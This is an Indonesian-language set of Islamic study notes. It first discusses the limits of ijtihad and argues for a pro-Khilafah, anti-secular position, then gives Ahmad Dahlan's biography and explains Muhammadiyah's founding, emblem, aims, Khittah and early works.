Di dalam al-Quran ada ayat-ayat yang jelas penunjukkannya (qath‘i), ada pula yang penunjukkannya zhanni. Ijtihad tidak boleh dilakukan pada ayat-ayat yang jelas (qath‘i) maknanya, misalnya masalah-masalah akidah, kewajiban shalat lima waktu, zakat, puasa, haji, dan lain sebagainya. Perkara-perkara semacam ini bukanlah lingkup ijtihad. Sebab, masalah-masalah seperti ini sudah sangat jelas dan tidak boleh ada kesalahan di dalamnya. Siapa saja yang salah dalam mempersepsi perkara-perkara yang sudah qath‘i, maka ia telah terjatuh dalam dosa dan berhak mendapatkan azab Allah Swt. Sebaliknya, kesalahan dalam perkara-perkara ijtihadiah (zhanni) tidak akan menjatuhkan pelakunya dalam dosa dan maksiyat. (Al-Amidi, ibid., II/311).
Ijtihad hanya terjadi dan berlaku pada wilayah furû‘ (cabang) dan zhanni. Perkara-perkara semacam ini disebut perkara ijtihadiah. Disebut demikian karena ia masih membuka ruang terjadinya perbedaan interpretasi. Adapun perkara yang melibatkan dalil qath‘i, tidak boleh disebut sebagai perkara ijtihadiah.
Haramnya memilih kepala negara yang berhaluan sekular dan tidak mendukung penerapan syariat Islam bukanlah perkara ijtihadiah. Sebab, kebatilan dan pertentangan sekularisme dengan Islam adalah perkara qath‘i. Kewajiban menerapkan syariat Islam dalam kehidupan masyarakat dan negara juga merupakan perkara yang pasti dan tidak boleh ada perselisihan. Kewajiban menegakkan kembali Khilafah Islamiyah juga merupakan perkara pasti yang tidak boleh ada perbedaan di kalangan Muslim.
Sayangnya, sebagian orang malah menolak penerapan syariat Islam dan penegakkan Khilafah Islamiah dengan dalih ijtihad dan ijtihadiah. Mereka menganggap bahwa perbedaan dalam masalah semacam ini masih dalam kategori boleh. Alasannya, masing-masing orang mempunyai ijtihad sendiri-sendiri dan sah-sah saja jika hasil ijtihadnya berbeda. Akibatnya, umat tidak bisa memilah mana pendapat yang telah menyimpang dari syariat Islam dan mana pendapat yang masih terkategori pendapat islami. Ketika disampaikan bahwa berhukum dengan aturan Allah merupakan kewajiban, dengan entengnya mereka menyatakan, “Itu kan ijtihad Anda? Kami mempunyai pendapat dan ijtihad sendiri dalam masalah ini. Jika kami berbeda dengan Anda, Anda tetap harus menghargai pendapat kami, dan tidak boleh menyalahkan kami. Bukankah salah dalam ijtihad tidak berdosa?”
Semua ini diakibatkan karena umat tidak lagi memahami lingkup ijtihad; mana yang terkategori perkara ijtihadiah dan mana yang bukan. Akhirnya, umat tidak bisa membedakan pendapat islami dan pendapat yang telah menyimpang dari akidah dan syariat Islam.

Syarat-syarat Mujtahid
Seseorang layak untuk berijtihad jika telah memenuhi syarat-syarat berikut ini:
Pertama, memahami dalil-dalil sam‘i (naqli) yang digunakan untuk membangun kaidah-kaidah hukum. Yang dimaksud dengan dalil sam‘i adalah al-Quran, as-Sunnah, dan Ijma. Seorang mujtahid harus memahami al-Quran, as-Sunnah, dan Ijma berikut klasifikasi dan kedudukannya. Ia juga harus memiliki kemampuan untuk memahami, menimbang, mengkompromikan, serta men-tarjîh dalil-dalil tersebut jika terjadi pertentangan. Kemampuan untuk memahami dan dalil-dalil sam‘i dan menimbang dalil-dalil tersebut merupakan syarat pokok bagi seorang mujtahid.
Kedua, memahami arah penunjukkan dari suatu makna yang sejalan dengan pemahaman orang Arab dan dipakai oleh para ahli balâghah (retorika bahasa Arab).
Seorang mujtahid disyaratkan harus memiliki kemampuan bahasa yang mencakup kemampuan untuk memahami makna suatu kata, makna balâghah-nya, dalâlah-nya, pertentangan makna yang dikandung suatu kata, serta mana makna yang lebih kuat—setelah dibandingkan dengan riwayat tsiqqah dan perkataan ahli bahasa. Seorang mujtahid tidak cukup hanya mengerti dan menghapal arti sebuah kata berdasarkan pedoman kamus. Akan tetapi, ia harus memahami semua hal yang berkaitan dengan kata tersebut dari sisi kebahasaan. (An-Nabhani, op.cit., I/213-216. Lihat juga: Al-Amidi, op.cit. II/309-311).

Kesalahan Persepsi Seputar Ijtihad
Pertama, sebagian kaum Muslim memahami bahwa semua orang berhak dan layak melakukan ijtihad. Mereka berdalil bahwa setiap mukallaf dibekali Allah dengan akal yang sama dan setiap Mukmin wajib mengerti hukum syariat berdasarkan pemahamannya sendiri. Untuk itu, setiap orang berhak melakukan ijtihad meskipun ijtihadnya bisa jadi salah.
Mereka juga beralasan bahwa ijtihad harus tetap ada hingga Hari Kiamat untuk menjawab persoalan-persoalan baru yang terus berkembang. Untuk itu, jika setiap orang tidak diberi hak berijtihad, tentu akan terjadi stagnasi ijtihad. Padahal, stagnasi ijtihad tidak boleh terjadi di tengah-tengah masyarakat Islam.
Benar, setiap Muslim diperintahkan untuk terikat dengan aturan Allah Swt. Seseorang tidak mungkin bisa terikat dengan aturan Allah jika ia tidak mengerti hukum syariat. Padahal, jalan satu-satunya untuk menggali hukum adalah ijtihad. Oleh karena itu, adanya ijtihad merupakan kewajiban bagi kaum Muslim. Namun demikian, ijtihad—sebagaimana definisinya—adalah aktivitas yang sangat sulit dan berat. Ijtihad juga membutuhkan syarat-syarat yang tidak mudah. Hanya orang-orang yang memiliki kelayakan dan kemampuan saja yang berhak melakukan ijtihad. Orang-orang yang tidak memiliki kemampuan dan kelayakan tentu tidak akan mampu melakukan ijtihad sesuai dengan tuntunan Allah Swt. Jika ia memaksakan diri berijtihad, tentu saja hukum yang ia gali lebih banyak didasarkan pada hawa nafsunya, bukan didasarkan pada dalil-dalil syariat dan kaidah istinbâth yang benar. Padahal Allah Swt. melarang kaum Muslim berhukum berdasarkan hawa nafsunya.
Ijtihad memang harus dilakukan hingga akhir zaman untuk mejawab persoalan-persoalan baru yang tidak ditemukan pada masa sebelumnya. Akan tetapi, ini tidak berarti semua orang memiliki hak untuk melakukan ijtihad dengan alasan agar ijtihad tidak mandeg. Syarat-syarat kelayakan untuk melakukan ijtihad tetap harus dipenuhi. Orang yang tidak memiliki kemampuan dan memenuhi syarat-syarat ijtihad dilarang melakukan ijtihad. Dengan kata lain, pintu ijtihad tertutup bagi orang yang tidak memenuhi syarat kelayakan ijtihad.
Kedua, dengan dalih ijtihad dan masalah ijtihadiah banyak orang yang akhirnya bersifat permissive terhadap keragaman pendapat. Padahal, tidak jarang perbedaan pendapat dalam masalah itu sudah menyangkut hal-hal yang bersifat qath‘i, bukan lagi zhanni. Contohnya perbedaan pendapat di kalangan kaum Muslim tentang sistem pemerintahan Islam. Ada sebagian kaum Muslim berpendapat bahwa penerapan Islam bisa diwujudkan dalam koridor sistem pemerintahan apapun, baik republik, kekaisaran, federasi, dan sebagainya. Sebagian yang lain berpendapat bahwa syariat Islam tidak harus diterapkan secara struktural dan formal, yang penting adalah substansi dan nilai-nilainya. Sebagian lagi berpendapat bahwa penerapan syariat Islam boleh dilakukan secara bertahap, bukan serentak. Perbedaan-perbedaan pendapat dalam hal semacam ini sesungguhnya adalah perbedaan pendapat yang dilarang dalam Islam. Sebab, masalah sistem pemerintahan di dalam Islam bukanlah termasuk masalah ijtihadiah. Nash-nash syariat yang sharîh (jelas) telah menyatakan bahwa sistem pemerintahan di dalam Islam adalah Khilafah Islamiyah, bukan sistem yang lain.
Ketiga, dengan alasan ijtihadiah juga sebagian kaum Muslim telah menutup diri dari pendapat lain. Dengan kata lain, mereka enggan untuk mencari dan mengkaji mana pendapat yang paling kuat dan benar berdasarkan prinsip quwwah ad-dalîl (kekuataan argumentasi). Dalam masalah furû‘, meskipun kaum Muslim diperbolehkan berbeda pendapat dan pandangan, mereka diperintahkan untuk mencari dan memilih pendapat yang paling râjih dan kuat. Seorang Muslim harus beramal dengan hukum yang dianggapnya paling benar dan kuat. Ia tidak boleh beramal dengan hukum yang dianggapnya salah dan lemah. Atas dasar itu, seorang Muslim tidak boleh menolak pendapat yang lebih kuat dan râjih. Bersikukuh pada pendapat yang sudah terbukti lemah dan ringkih adalah tindakan dosa yang dicela oleh Islam. Sebab, bolehnya kaum Muslim berbeda pendapat dalam masalah furû‘ tidak menafikan wajibnya mereka mencari dan memegang pendapat yang paling kuat dan râjih.


2. GERAKAN MUHAMMADIYAH
a. Biografi dari Muhammadiyah
Ahmad Dahlan
Nama kecil K.H. Ahmad Dahlan adalah Muhammad Darwisy. Ia merupakan anak keempat dari tujuh orang bersaudara yang keseluruhanya saudaranya perempuan, kecuali adik bungsunya.
Dalam silsilah ia termasuk keturunan yang kedua belas dari Maulana Malik Ibrahim, seorang wali besar dan seorang yang terkemuka diantara Wali Songo, yang merupakan pelopor pertama dari penyebaran dan pengembangan Islam di Tanah Jawa (Kutojo dan Safwan, 1991).
Adapun silsilahnya ialah Muhammad Darwisy (Ahmad Dahlan) bin KH. Abu Bakar bin KH. Muhammad Sulaiman bin Kyai Murtadla bin Kyai Ilyas bin Demang Djurung Djuru Kapindo bin Demang Djurung Djuru Sapisan bin Maulana Sulaiman Ki Ageng Gribig (Djatinom) bin Maulana Muhammad Fadlullah (Prapen) bin Maulana 'Ainul Yaqin bin Maulana Ishaq bin Maulana Malik Ibrahim (Yunus Salam, 1968: 6).
Pada umur 15 tahun, beliau pergi haji dan tinggal di Mekah selama lima tahun. Pada periode ini, Ahmad Dahlan mulai berinteraksi dengan pemikiran-pemikiran pembaharu dalam Islam, seperti Muhammad Abduh, Al-Afghani, Rasyid Ridha dan Ibnu Taimiyah. Ketika pulang kembali ke kampungnya tahun 1888, beliau berganti nama menjadi Ahmad Dahlan.
Pada tahun 1903, beliau bertolak kembali ke Mekah dan menetap selama dua tahun. Pada masa ini, beliau sempat berguru kepada Syeh Ahmad Khatib yang juga guru dari pendiri NU, K.H. Hasyim Asyari. Pada tahun 1912, ia mendirikan Muhammadiyah di kampung Kauman, Yogyakarta.
Sepulang dari Mekkah, ia menikah dengan Siti Walidah, sepupunya sendiri, anak Kyai Penghulu Haji Fadhil, yang kelak dikenal dengan Nyai Ahmad Dahlan, seorang Pahlawanan Nasional dan pendiri Aisyiyah. Dari perkawinannya dengan Siti Walidah, KH. Ahmad Dahlan mendapat enam orang anak yaitu Djohanah, Siradj Dahlan, Siti Busyro, Irfan Dahlan, Siti Aisyah, Siti Zaharah (Kutojo dan Safwan, 1991).
Disamping itu KH. Ahmad Dahlan pernah pula menikahi Nyai Abdullah, janda H. Abdullah. la juga pernah menikahi Nyai Rum, adik Kyai Munawwir Krapyak. KH. Ahmad Dahlan juga mempunyai putera dari perkawinannya dengan Ibu Nyai Aisyah (adik Adjengan Penghulu) Cianjur yang bernama Dandanah. Beliau pernah pula menikah dengan Nyai Yasin Pakualaman Yogyakarta (Yunus Salam, 1968: 9).
Disamping aktif dalam menggulirkan gagasannya tentang gerakan dakwah Muhammadiyah, ia juga tidak lupa akan tugasnya sebagai pribadi yang mempunyai tanggung jawab pada keluarganya. Disamping itu, ia juga dikenal sebagai seorang wirausahawan yang cukup berhasil dengan berdagang batik yang saat itu merupakan profesi entrepreneurship yang cukup menggejala di masyarakat.
Sebagai seorang yang aktif dalam kegiatan bermasyarakat dan mempunyai gagasan-gagasan cemerlang, Dahlan juga dengan mudah diterima dan dihormati di tengah kalangan masyarakat, sehingga ia juga dengan cepat mendapatkan tempat di organisasi Jam'iyatul Khair, Budi Utomo, Syarikat Islam dan Comite Pembela Kanjeng Nabi Muhammad SAW.
Pada tahun 1912, Ahmad Dahlan pun mendirikan organisasi Muhammadiyah untuk melaksanakan cita-cita pembaharuan Islam di bumi Nusantara. Ahmad Dahlan ingin mengadakan suatu pembaharuan dalam cara berpikir dan beramal menurut tuntunan agama Islam. la ingin mengajak umat Islam Indonesia untuk kembali hidup menurut tuntunan al-Qur'an dan al-Hadits. Perkumpulan ini berdiri bertepatan pada tanggal 18 Nopember 1912. Dan sejak awal Dahlan telah menetapkan bahwa Muhammadiyah bukan organisasi politik tetapi bersifat sosial dan bergerak di bidang pendidikan.
Gagasan pendirian Muhammadiyah oleh Ahmad Dahlan ini juga mendapatkan resistensi, baik dari keluarga maupun dari masyarakat sekitarnya. Berbagai fitnahan, tuduhan dan hasutan datang bertubi-tubi kepadanya. la dituduh hendak mendirikan agama baru yang menyalahi agama Islam. Ada yang menuduhnya kyai palsu, karena sudah meniru-niru bangsa Belanda yang Kristen dan macam-macam tuduhan lain. Bahkan ada pula orang yang hendak membunuhnya. Namun rintangan-rintangan tersebut dihadapinya dengan sabar. Keteguhan hatinya untuk melanjutkan cita-cita dan perjuangan pembaharuan Islam di tanah air bisa mengatasi semua rintangan tersebut.
Pada tanggal 20 Desember 1912, Ahmad Dahlan mengajukan permohonan kepada Pemerintah Hindia Belanda untuk mendapatkan badan hukum. Permohonan itu baru dikabulkan pada tahun 1914, dengan Surat Ketetapan Pemerintah No. 81 tanggal 22 Agustus 1914. Izin itu hanya berlaku untuk daerah Yogyakarta dan organisasi ini hanya boleh bergerak di daerah Yogyakarta. Dari Pemerintah Hindia Belanda timbul kekhawatiran akan perkembangan organisasi ini. Itulah sebabnya kegiatannya dibatasi.
Walaupun Muhammadiyah dibatasi, tetapi di daerah lain seperti Srandakan, Wonosari dan Imogiri dan lain-Iain tempat telah berdiri cabang Muhammadiyah. Hal ini jelas bertentangan dengan keinginan pemerintah Hindia Belanda. Untuk mengatasinya, maka KH. Ahmad Dahlan menyiasatinya dengan menganjurkan agar cabang Muhammadiyah di luar Yogyakarta memakai nama lain. Misalnya Nurul Islam di Pekalongan, Ujung Pandang dengan nama Al-Munir, di Garut dengan nama Ahmadiyah. Sedangkan di Solo berdiri perkumpulan Sidiq Amanah Tabligh Fathonah (SATF) yang mendapat pimpinan dari cabang Muhammadiyah.
Bahkan dalam kota Yogyakarta sendiri ia menganjurkan adanya jama'ah dan perkumpulan untuk mengadakan pengajian dan menjalankan kepentingan Islam. Perkumpulan-perkumpulan dan Jama'ah-jama'ah ini mendapat bimbingan dari Muhammadiyah, yang diantaranya ialah Ikhwanul Muslimin, Taqwimuddin, Cahaya Muda, Hambudi-Suci, Khayatul Qulub, Priya Utama, Dewan Islam, Thaharatul Qulub, Thaharatul-Aba, Ta'awanu alal birri, Ta'ruf bima kanu wal- Fajri, Wal-Ashri, Jamiyatul Muslimin, Syahratul Mubtadi (Kutojo dan Safwan, 1991: 33).
Gagasan pembaharuan Muhammadiyah disebarluaskan oleh Ahmad Dahlan dengan mengadakan tabligh ke berbagai kota, disamping juga melalui relasi-relasi dagang yang dimilikinya. Gagasan ini ternyata mendapatkan sambutan yang besar dari masyarakat di berbagai kota di Indonesia. Ulama-ulama dari berbagai daerah lain berdatangan kepadanya untuk menyatakan dukungan terhadap Muhammadiyah. Muhammadiyah makin lama makin berkembang hampir di seluruh Indonesia. Oleh karena itu, pada tanggal 7 Mei 1921 Dahlan mengajukan permohonan kepada pemerintah Hindia Belanda untuk mendirikan cabang-cabang Muhammadiyah di seluruh Indonesia. Permohonan ini dikabulkan oleh pemerintah Hindia Belanda pada tanggal 2 September 1921.
Sebagai seorang yang demokratis dalam melaksanakan aktivitas gerakan dakwah Muhammadiyah, Dahlan juga memfasilitasi para anggota Muhammadiyah untuk proses evaluasi kerja dan pemilihan pemimpin dalam Muhammadiyah. Selama hidupnya dalam aktivitas gerakan dakwah Muhammadiyah, telah diselenggarakan dua belas kali pertemuan anggota (sekali dalam setahun), yang saat itu dipakai istilah AIgemeene Vergadering (persidangan umum).
b. Berdirinya Muhammadiyah berikut hal-hal yang Melatarbelakangi Berdirinya
Perserikatan Muhammadiyah sudah dikenal luas sejak beberapa puluh tahun yang lalu , oleh masyarakat Internasioanal , khususnya oleh masyarakat 'alam Ialamy. Nama Muhammadiyah sudah sangat akrab di telinga masayarkat pada umumnya .Adapun arti nama muhammadiyah dapat dilihat dari dua segi , yaitu arti bahasa atau etimologis dan arti istilah atau terminologis.
Arti Bahasa atau estimologis :Muhammadiyah berasal dari kata bahasa arab "Muhammad" yaitu nama nabi atau Rasul yang terakhir.Kemudian mendapatkan "ya nisbiyah "yang artinya menjeniskan .Jadi Muhammadiyah berarti umatnya Muhammad atau pengikut Muhammad. Yaitu semua oraqng yang menyakini bahwa Muhammad adalah hamba dan pesuruh Allah yang terakhir .Denga demikian siapapun yang beragama Islam maka dia adalah orang Muhammadiyah , tanpa dilihat atau dibatasi oleh perbedaan Organisasi, golongan bangsa , geografis , etnis , dsb.
Arti Istilah atau terminologis : Muhammadiyah adlah gerakan Islam , Dakwah AmarMakruf Nahi Munkar , berasa Islam dan bersumber Al Qur'an dan Sunah didirikan oleh KHA . Dahlan pada tanggal 8 Dzulhijah 1330 H, bertepatan tanggal 18 November 1912 M di kota Yogyakarta .Gerakan ini diberi nama Muhammadiyah denga maksud untuk berta'faul (berpengharapan baik )dapat menconytoh dan meneladani jejeak perjuangan nabi Muhammad SAW. dalam rangka menegakkan dan menjunjung tinggi agama Islam semata - mata demi terwujudnya Izzul Islam wal Muslimin, kejayaan Islam sebagai idealita dan kemulian hidup umat Ilam sebagai realita.
Latar Belakang berdirinya Muhammadiyah
1. Faktor Subyektif
Faktor Subyektif yang sangat kuat , bahkan dikatakan sbagai faktor utama dan faktor penentu yang mendorong berdiri8nya Muhammadiyah adlah hasil pendalaman KHA . Dahlan terhadap Al Qur'an dalm menelaah , membahas dan meneliti dan menbkaji kandunagn isinya .Sikap KHA Dahlan seprti ini sesunguhnya dalam rangka melaksanakan firman Allah sebagaimana yang tersimpul dalam dalam surat An-Nisa ayat 82 dan surat MUhammad ayat 24 yaitu melakukan taddabur atau memperhatikan dan mencermati dengan penuh ketelitian terhadap apa yang tersirat dalam ayat .Sikap seperti ini pulalah yang dilakukan KHA Dahaln ketika menatap surat Ali Imran ayat 104 :"Dan hendaklah ada diantara kamu sekalian segolongan umat yang menyeru kepada kebajikan , menyuruh kepada yang makruf dan mencegah yang munkar , merekalah orang - orang yanag beruntung ".
Memahami seruan diatas , KHA Dahlan tergerak hatinya untuk membangansebauh perkumpulan , organisasi atau persyarikatan yang teratur dan rapi yang tugasnya berkhidmad pada malaksanakan misi dakwah Islam amar Makruf Nahi Munkar di tengah masyarakat kita .
2. Faktor Objektif
Ada beberapa sebab yang bersifat objektif yang melatarbelakangi berdirinya Muhammadiyah, yang sebagian dapat dikelompokkan dalam faktor internal, yaitu faktor-faktor penyebab yang muncul di tengah-tengah kehidupan masyarakat Islam Indonesia, dan sebagiannya dapat dimasukkan ke dalam faktor eksternal, yaitu faktor-faktor penyebab yang ada di luar tubuh masyarakat Islam Indonesia.
Faktor obyektif yang bersifat internal
a. Ketidakmurnian amalan Islam akibat tidak dijadikannya Al-Quran dan as-Sunnah sebagai satu-satunya rujukan oleh sebagian besar umat Islam Indonesia
b. Lembaga pendidikan yang dimiliki umat Islam belum mampu menyiapkan generasi yang siap mengemban misi selaku ”Khalifah Allah di atas bumi”
Faktor obyektif yang bersifat eksternal
a. Semakin meningkatnya Gerakan Kristenisasi di tengah-tengah masyarakat Indonesia
b. Penetrasi Bangsa-bangsa Eropa, terutama Bangsa Belanda ke Indonesia
c. Pengaruh dari Gerakan Pembaharuan dalam Dunia Islam.


3. LAMBANG MUHAMMADIYAH
a. Bentuk Lambang
Lambang persyarikatan berbentuk matahari yang memancarkan dua belas sinar yang mengarah ke segala penjuru, dengan sinarnya yang putih bersih bercahaya. Di tengah-tengah matahari terdapat tulisan dengan huruf Arab; Muhammadiyah. Pada lingkaran atas yang mengelilingi tulisan Muhammadiyah terdapat: tulisan berhuruf Arab, berujud kalimat syahadat tauhid: “Asyhadu anla ila-ha illa Allah” (saya bersaksi bahwasanya tidak ada Tuhan kecuali Allah), dan pada lingkaran bagian bawah tertulis kalimat syahadat Rasul “Waasyhadu anna Muhammadan Rasulullahi” (dan aku bersaksi bahwa Muhammad adalah utusan Allah). Seluruh gambar matahari dengan atributnya berwarna putih dan terletak di atas warna dasar hijau daun.
b. Maksud Lambang
Matahari adalah merupakan salah satu benda langit ciptaan (makhluk) Allah. Dalam sistem tata surya matahari menempati posisi sentral (heliosentris) yaitu menjadi titik pusat dari semua planet-planet lain. Matahari merupakan benda langit yang dari dirinya sendiri memiliki kekuatan memancarkan sinar panas yang sangat berguna bagi kehidupan biologis semua makhluk hidup yang ada di bumi. Dan tanpa panas sinar matahari bumi akan membeku dan gelap gulita, sehingga semua makhluk hidup tidak mungkin dapat meneruskan kehidupannya.

Muhammadiyah menggambarkan jati diri, gerak serta manfaatnya sebagaimana matahari. Kalau matahari menjadi penyebab lahiriyah berlangsungnya kehidupan secara biologis bagi seluruh makhluk hidup yang ada di bumi, maka Muhammadiyah akan menjadi penyebab lahirnya, berlangsungnya kehidupan secara spiritual, rohaniyah bagi semua orang yang mau menerima pancaran sinarnya yang berupa ajaran agama Islam sebagaimana yang termuat dalam Al-Qur’an dan as-Sunnah. Ajaran Islam yang hak dan lagi sempurna itu seluruhnya berintikan dua kalimat syahadat itulah digambarkan oleh surat al-Anfal 24:
”Wahai orang-orang yang beriman! penuhilah seruan Allah dan seruan Rasul apabila Rasul menyeru kalian kepada sesuatu yang memberi kehidupan kepada kalian”.

Dua belas sinar matahahari yang memancar ke seluruh penjuru mengibaratkan tekad dan semangat pantang menyerah dari warga Muhammadiyah dalam memperjuangkan Islam di tengah-tengah masyarakat bangsa Indonesia sebagai tekad dan semangat pantang mundur dan menyerah dari kaum Hawary, yaitu sahabat Nabi Isa as yang jumlahnya dua belas orang. Karena tekad dan semangatnya telah teruji secara meyakinkan maka Allah pun berkenan mengabadikan mereka dalamsalah satu ayat Al-Qur’an, yaitu surat as-Shaf ayat 14:
”Wahai’ sekalian orang yang beriman! jadikanlah kalian penolong-penolong (agama) Allah, sebagaimana ucapan Isa putra Maryam kepada kaum Hawary: ”Siapa yang bersedia menolongku (semata-mata untuk menegakkan agama Allah”), lalu segolongan banl israil beriman dan segolongan (yang kafir) kafir: maka kami berikan kekuatan kepada orang-orang yang beriman terhadap musuh-musuh mereka, maka jadilah mereka orang-orang yang menang”.

Warna putih pada seluruh gambar matahari melambangkan kesucian dan keikhlasan.Muhammadiyah dalam berjuang untuk menegakkan dan menjunjung tinggi agama Islam tidak ada motif lain kecuali semata-mata mengharapkan keridlaan Allah. Keikhlasan yang menjadi inti (nucleus) ajaran ikhsan sebagaimana yang diajarkan Rasullulah benar-benar dijadikan jiwa dan ruh perjuangan Muhammadiyah, dan yang sejak awal kelahiran Muhammadiyah sudah ditanamkan oleh KHA. Dahlan. Sebab telah diyakini secara sungguh-sungguh bahwa setiap perjuangan yang didasari oleh iman dan ikhlas maka kekuatan apapun tidak ada yang mampu mematahkannya (lihat surat Shadd 73-85, as-Shaffat 138, al-A’raf 11-18).

Warna hijau yang menjadi warna dasar melambangkan kedamaian dan kesejahteraan. Muhammadiyah berjuang di tengah-tengah masyarakat bangsa Indonesia dalam rangka merealisasikan ajaran agama Islam yang penuh dengan kedamaian, selamat dan sejahtera bagi umat manusia (al-Anbiya’ ayat 107).

5. MAKSUD DAN TUJUAN MUHAMMADIYAH
Maksud dan tujuan Muhammadiyah sebagaimana yang telah dirumuskan dalam Anggaran Dasar Muhammadiyah dapat di jelaskan sebagai berikut:
a. Menegakkan, berarti membuat dan mengupayakan agar tetap tegak dan tidak condong apalagi roboh, yang semua itu dapat terealisasikan manakala sesuatu yang ditegakkan tersebut diletakkan di atas fondasi, landasan atau asas yang kokoh dan solid, dipegang erat-erat, dipertahankan, dibela serta diperjuangkan dengan penuh konsekuen.
b. Menjunjung Tinggi, berarti membawa atau menjujung di atas segala-galanya, mengindahkan serta menghormatinya.
c. Agama Islam, yaitu agama Allah yang diwahyukan kepada para Rasul-Nya sejak nabi Adam, Nuh, Ibrahim, Musa, Isa sampai kepada nabi penutup Muhammad saw sebagai hidayah dan rahmat Allah kepada umat manusia sepanjang zaman, serta menjamin kesejahteraan hakiki duniawi maupun ukhrawi.
d. Terwujud, berarti menjadi satu kenyataan akan adanya atau akan wujudnya.
e. Masyarakat Utama, yaitu masyarakat yang senantiasa mengejar keutamaan dan kemaslahatan untuk kepentingan hidup umat manusia, masyarakat yang selalu bersikap takzim terhadap Allah, Tuhan Yang Maha Esa, mengindahkan dengan penuh keikhlasan terhadap ajaran-ajaran-Nya, serta menaruh hormat terhadap sesama manusia selaku makhluk Allah yang memiliki martabat absanu taqwim.
f. Adil dan makmur, yaitu suatu kondisi masyarakat yang di dalamnya terpenuhi dua kebutuhan hidup yang pokok, yaitu:
1. Adil, suatu kondisi masyarakat yang positif dari aspek batiniah di mana keadaan ini bilamana dapat diwujudkan secara konkret, riil atau nyata maka akan terciptalah masyarakat yang damai, aman, dan tentram.
2. Makmur, yaitu suatu kondisi masyarakat yang positif dari aspek lahiriah, yang sering digambarkan secara sederhana dengan rumusan terpenuhinya kebutuhan sandang, papan dan kesehatan. Suatu keadaan masyarakat yang makmur sejahtera, melimpah ruah segala kebutuhan aspek materiilnya, dan sepi dari jerit tangisnya orang yang kelaparan dan kesusahan.
3. Yang diridlai Allah Subhanahu Wata’ala, artinya dalam rangka mengupayakan terciptanya keadilan dan kemakmuran masyarakat maka jalan dan cara yang ditempuh haruslah selalu bermotifkan semata-mata mencari keridlaan Allah belaka. Rumusan tujuan persyarikatan seperti di atas sesungguhnya searti dan sejiwa dengan gambaran masyarakat.

6. KHITTAH MUHAMMADIYAH
Sebagaimana ditegaskan dalam Matan Keyakinan dan cita-cita hidup Muhammadiyyah, bahwa “ Muhammadiyyah adalah Gerakan berasas Islam, bercita-cita dan bekerja untuk terwujudnya masyarakat Islam yang sebenar-benarnya, untuk melaksanakn fungsi dan missi manusia senagai hamba dan khalifah Allah di muka bumi “.
Untuk mencapai cita-cita tersebut, diperlukan pedoman yang berisi arah, kebijaksanaan dan langkah-langkah yang harus ditempuh sehingga usaha yang dilakukan itu benar-benar dapat mewujudkan cita-cita yang diidamkan. Pedoman itu lebih-lebih diperlukan, karena dalam perjalanan hidupnya, Muhammadiyyah senantiasa menghadapi berbagai macam persoalan dan mengalami situasi yang berubah ubah. Tanpa pedoman dapatlah dipastikan akan terjadinya kesimpangsiuran perjuangan serta keragu-raguan dalam menghadapi situasi yang selalu berubah itu. Pedoman itulah yang dalm kehidupan Muhammadiyyah dikenal dengan istilah “Khittah Perjuangan”.
Dalam perjalanan Muhammadiyyah dari masa ke masa, telah beberapa kali ditetapkan Khittah Perjuangan. Yang terakhir kalinya adalah Khittah perjuangan keputusan Mu’tamar Muhammadiyyah ke 40 di Surabaya. Dengan ditetapkan Khittah Perjuangan oleh Mu’tamar Muhammadiyyah ke 40 itu tidak berarti bahwa Khittah-khittah perjuangan yang telah ditetapkan sebelumnya lantas menjadi tidak berlaku lagi. Dalam sejarah kehidupan Muhammadiyyah, khittah-khittah Perjuangan yang telah ditetapkan sebelumnya lantas menjadi tidak berlaku lagi. Hal itu tentu saja sepanjang materi dari Khittah-khittah Perjuangan tidak bertentangan dengan materi dari Khittah Perjuangan yang ditetapkan kemudian.
Dalam Khittah Perjuangan Muhammadiyyah Keputusan Mu’tamar ke 40, sesuai dengan persoalan dan situasi yang tengah dihadapi dan diperhitungakan akan dihadapi oleh Muhammadiyyah, ditonjolkan kembali hakekat Muhammdiyyah sebagai Gerakan Islam serta hubungannya dengan lapangan yang telah dipilihnya, yaitu masyarakat. Di samping itu juga ditonjolkan hubungan Muhammadiyyah dengan masalah politik dan ukhuwah Islamiyah.
Berdasarkan pendirian terhadap masalah – masalah yang ditonjolkan itu, akhirnya Khittah Perjuangan itu menggariskan program jangka pendek yang harus dijabarkan dan dilaksanakan oleh segenap warga Muhammadiyah.

Program jangka pendek itu adalah sebagai berikut :
Ø Memulihkan kembali Muhammadiyah sebagai Persyarikatan yang menghimpun sebagai anggota masyarakat terdiri dari muslimin dan muslimat yang beriman teguh, taat beribadah, berakhlak mulia dan menjadi teladan yang baik di tengah-tengah masyarakat.
Ø Meningkatkan pengertian dan kematangan anggota Muhammadiyah tentang hak dan kewajibannya sebagai warga negara dalam Negara-Negara Kesatuan Republik Indonesia dan meningkatkan kepekaan sosialnya terhadap persoalan – persoalan dan kesuliatan kehidupan masyarakat.
Ø Menempatkan Persyarikatan Muhammadiyah sebagai pusat gerakan untuk melaksanakan dakwah Islam amar ma’ruf nahi munkar ke segenap penjuru dan lapisan masyarakat serta disegala bidang kehidupan di Negara Republik Indonesia yang berdasarkan Pancasial dan Undang - Undang Dasar 1945.

Khittah Perjuangan Muhammadiyah, pola dasar Perjuangannya adalah :
Muhammadiyah berjuang untuk mencapai/ mewujudkan suatu cita-cita dan keyakinan hidup, yang bersumber paa ajaran Islam.
Dakwah Islam dan amar makruf nahi munkar dalam arti dan proporsi yang benar-benar.


7. AMAL USAHA MUHAMMADIYAH (AUM)
Dengan maksud dan tujuan Muhammadiyah yang luas dan besar itu, maka luas dan besar pula amal usaha Muhammadiyah. Sudah barang tentu pada mulanya belum sebesar yang ada sekarang ini. Lebih-lebih pada saat itu banyak rintangan dan halangan yang dihadapi, baik dari ulama-ulama yang belum dapat menerima cara pemahaman agama Islam KHA. Dahlan maupun kaum pemegang adat yang gigih mempertahankan tradisi nenek-moyangnya.
Usaha yang mula-mula, disamping dalam bidang pendidikan dengan mendirikan sekolah Muhammadiyah lebih banyak ditekankan pada pemurnian tauhid dan ibadah dalam Islam seperti:
Meniadakan kebiasaan menujuhbulani (jawa=tingkep), yaitu selamatan bagi orang hamil pertama kali memasuki bulan ke tujuh, kebiasaan ini merupakan peninggalan dari adat jawa kuno, biasanya diadakan engan membuat rujak dari kelapa muda yang belum berdaging yang dikenal dengan nama cengkir dicampur dengan berbagai bahan-bahan lain seperti buah delima, buah jeruk, dan lain-lain.
